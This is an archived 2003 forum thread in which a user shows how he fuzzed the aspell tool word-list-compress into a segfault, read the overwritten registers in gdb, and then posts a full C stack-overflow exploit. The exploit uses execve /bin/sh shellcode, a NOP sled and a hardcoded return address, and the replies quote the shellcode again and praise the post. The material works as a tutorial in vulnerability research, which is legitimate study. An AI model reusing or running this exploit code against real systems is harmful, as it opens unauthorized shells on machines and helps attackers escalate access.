How a persons finds a buffer overflow on a service or a DLL file ? They are not open source and not easily decompiled.
shaun2k2
Aug 15 2003, 04:55 PM
Well, you simply play with the application. View the help output (sometimes "-h" along with the program name to get help), and see what options are availiable. If the options allow input at the command line or stdin, or from a file (well, technically stdin is a file, but...), you might be in luck. Sometimes developers are lazy and don't bother checking input from users (e.g the length of the input, causing buffer overflow sometimes), so consequently the program can be exploited to run abitrary code.
Here's an example of how I discovered a vulnerability in word-list-compress (part of the aspell spell checking package), it may give you an idea of how vulnerabilities can be discovered without holding the source code:
CODE
[shaunige@localhost shaunige]$ word-list-compress Compresses or uncompresses sorted word lists. For best result the locale should be set to C. before sorting by setting the environmental variable LANG to "C" before sorting. Copyright 2000 by Kevin Atkinson under the LGPL. Usage: word-list-compress c[ompress]|d[ecompress] [shaunige@localhost shaunige]$ word-list-compress c Hello world! Helloworld! [shaunige@localhost shaunige]$ word-list-compress c llllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllll llllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllll lllllllllllllllllll llllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllll llllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllll lllllllllllllllllll [shaunige@localhost shaunige]$ export TEST=`perl -e 'print "a"x100'` [shaunige@localhost shaunige]$ echo $TEST | word-list-compress c aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaa[shaunige@localhost shaunige]$ echo $TEST | word-list-comprexport TEST=`perl -e 'print "a"x200'` [shaunige@localhost shaunige]$ echo $TEST | word-list-compress c aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa[shaunige@localhost shaunige]$ echo $TESxport TEST=`perl -e 'print "a"x300'` [shaunige@localhost shaunige]$ echo $TEST | word-list-compress c aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaSegmentation fault (core dumped) [shaunige@localhost shaunige]$
Bingo! I overflowed the input buffer of word-list-compress. Let's see the details, to see what has happened, shall we? We will do this by looking at the core file the program has left (used for tracing errors and debugging by developers and code auditors):
CODE
[shaunige@localhost shaunige]$ gdb -c core.2779 GNU gdb 5.2.1-2mdk (Mandrake Linux) Copyright 2002 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i586-mandrake-linux-gnu". Core was generated by `word-list-compress c'. Program terminated with signal 11, Segmentation fault. #0 0x61616161 in ?? () (gdb) info reg eax 0x0 0 ecx 0x40012000 1073815552 edx 0x0 0 ebx 0x61616161 1633771873 esp 0xbffff730 0xbffff730 ebp 0x61616161 0x61616161 esi 0x61616161 1633771873 edi 0x61616161 1633771873 eip 0x61616161 0x61616161 eflags 0x10246 66118 cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x2b 43 gs 0x2b 43 fctrl 0x0 0 fstat 0x0 0 ftag 0x0 0 fiseg 0x0 0 fioff 0x0 0 foseg 0x0 0 fooff 0x0 0 ---Type <return> to continue, or q <return> to quit--- fop 0x0 0 xmm0 {f = {0x0, 0x0, 0x0, 0x0}} {f = {0, 0, 0, 0}} xmm1 {f = {0x0, 0x0, 0x0, 0x0}} {f = {0, 0, 0, 0}} xmm2 {f = {0x0, 0x0, 0x0, 0x0}} {f = {0, 0, 0, 0}} xmm3 {f = {0x0, 0x0, 0x0, 0x0}} {f = {0, 0, 0, 0}} xmm4 {f = {0x0, 0x0, 0x0, 0x0}} {f = {0, 0, 0, 0}} xmm5 {f = {0x0, 0x0, 0x0, 0x0}} {f = {0, 0, 0, 0}} xmm6 {f = {0x0, 0x0, 0x0, 0x0}} {f = {0, 0, 0, 0}} xmm7 {f = {0x0, 0x0, 0x0, 0x0}} {f = {0, 0, 0, 0}} mxcsr 0x0 0 orig_eax 0xffffffff -1 (gdb) Quit
As you might know, 0x61 is hex for "a". As you can see, EIP and ESP and a few other registers have been overwritten by 0x61616161, meaning that we have overwritten registers on the stack with what we want. If we found out at approxamately what address some raw opcodes ("shell code") to execute some commands for us would be situated at if we overflowed the buffer with that instead of "a"'s, we could possibly execute some code! This is usually done with programs that are SUID or SGID (e.g run the the privileges of their owners or groups). For example, the exploit for word-list-compress would make a buffer to overflow word-list-compress's buffer would look like this:
If we have crafted the buffer correctly, with the right predicted address of the shell code, our buffer would overflow word-list-compress's, and would overwrite EIP (EIP holds the address on stack of the next instruction to be executed. If we overwrote it with our address, it would execute our code instead) with the return address that we think our shell code will be at. Voila! It will execute our malicious code (well, usually code to execute us a shell).
NOPs are just assembly operations, that basically do "nothing", hence the name No OPeration. We use these in our crafted exploit buffer so that if we get the predicted address slightly wrong, it will hopefully hit the NOPs, and keep executing them until it hits our shell code .
After our little session of experimenting and discussion about vulnerabilities, let's write an exploit for word-list-compress, shall we?
CODE
#include <stdio.h> #include <stdlib.h> #define LEN 700 /* The size of our exploited buffer could need tweaking. */ #define NOP 0x90
/* Function to get the ret address. You can use this instead of using the retaddr defined below in "retaddr" */ /* char *get_esp() { asm("movl %esp, %eax"); } */ int main() { char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh";
char buf[LEN]; int i; long retaddr = 0xbffff5c0; /* This address worked for me once on Mandrake 9.0, but then it didn't work again. */ printf("Creating exploit buffer\n"); for(i = 0; i < LEN; i=i+4) { *(char **) &buf[i] = retaddr; } /* You can make the number of NOPs bigger. */ memset(buf, NOP, 100); memcpy(&buf[101], shellcode, strlen(shellcode)); printf("Using address: 0x%x\n", retaddr); setenv("EXPLOIT", buf, 1); printf("Attempting to exploit!\n"); system("echo $EXPLOIT | /usr/bin/word-list-compress c"); return(0); }
I know, I know, a pretty sloppy exploit, I only got it to work once. word-list-compress is not SUID or SGID, however, so you would only get a shell with your current privileges.
-Shaun.
andariel
Aug 15 2003, 05:02 PM
thanx. it made sense to me now.
shaun2k2
Aug 15 2003, 05:08 PM
You're welcome.
-Shaun.
Dillinja
Aug 19 2003, 02:25 PM
Brilliant post!
Another to consider for the main page methinks!
NIce one mate!
bang
Aug 19 2003, 12:05 PM
can you please explain who did you decided to put this
#define NOP 0x90 i mean why not #define NOP 0x44 but #define NOP 0x90
you said this 0x90 stuff was characters or something like that. can you give more details
the same is with this one. int main() { char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh";
i am not sure if you got what i want to know. i hope you did thanx in advance
packet
Aug 19 2003, 02:16 PM
Shaun2k2,
Another excellent post, great description of how to overflow and then check the memory registers for whats happening.
Good schtuff! Gopher seal of approval
--P.G.
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.